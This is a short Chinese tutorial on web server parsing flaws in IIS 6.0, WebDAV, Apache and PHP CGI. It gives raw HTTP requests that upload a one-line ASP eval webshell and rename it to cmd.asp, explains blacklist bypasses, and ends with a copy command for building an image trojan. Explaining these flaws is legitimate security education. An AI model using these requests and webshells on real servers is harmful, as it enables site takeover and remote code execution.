一、IIS解析漏洞
1.當建立*.asa、*.asp格式的檔案夾時,其目錄下的任意檔案都將被IIS當作asp檔案來解析。
2.當檔案為*.asp;1.jpg時,IIS 6.0同樣會以ASP指令碼來執行。
微軟並不認為這是一個漏洞,也一直沒有推出IIS 6.0的補丁,所以這兩個“漏洞”至今還存在。
3.WebDav漏洞(對IIS寫入權限的利用)
第一步,通過OPTIONS探測伺服器所支援的HTTP方法
請求:OPTIONS / HTTP/1.1Host:www.example.com響應:。。。Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH。。。
第二步,通過PUT方法向伺服器上傳指令檔
請求:PUT /a.txt HTTP/1.1Host:www.example.comContent-Length:30<%eval request("chopper")%>第三步,通過Move或Copy方法改名
請求:COPY /a.txt HTTP/1.1Host:www.example.comDestination:http://www.example.com/cmd.asp
第四步,使用DELETE方法,攻擊者還可以刪除伺服器上的任意檔案
請求:DELETE /a.txt HTTP/1.1Host:www.example.com
二、Apache解析漏洞
在Apache 1.x和Apache 2.x中1.php.rar會被當作php檔案執行。
Apache在解析檔案時有一個原則:當碰到不認識的副檔名時,將會從後面向前解析,直到碰到認識的副檔名為止,如果都不認識,則會暴露其原始碼。
這種方法可以繞過基於黑名單的檢查。
Apache認識的副檔名儲存在安裝目錄下"/conf/mime.types"檔案中。下圖為原生情況,檔案在路徑C:\wamp\bin\apache\Apache2.2.21\conf\mime.types
三、PHP CGI解析漏洞
在某些使用Nginx的網站中,訪問http://www.xxser.com/1.jpg/1.php,此時的1.jpg會被當作PHP指令碼來解析,此時1.php是不存在的。
這就意味著攻擊者可以上傳合法的“圖片”(圖片木馬),然後在URL後面加上“/xxx.php”,就可以獲得網站的WebShell。
這不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也經常會出現這樣的解析漏洞。
這個解析漏洞其實是PHP CGI的漏洞,在PHP的設定檔中有一個關鍵的選項cgi.fix_pathinfo在本機中位於C:\wamp\bin\php\php5.3.10\php.ini,預設是開啟的,當URL中有不存在的檔案,PHP就會向前遞迴解析。
附:用copy命令製作圖片木馬:copy 1.jpg/b+1.php/a 2.php (其中/b表示二進位檔案,/a表示ASCII碼檔案)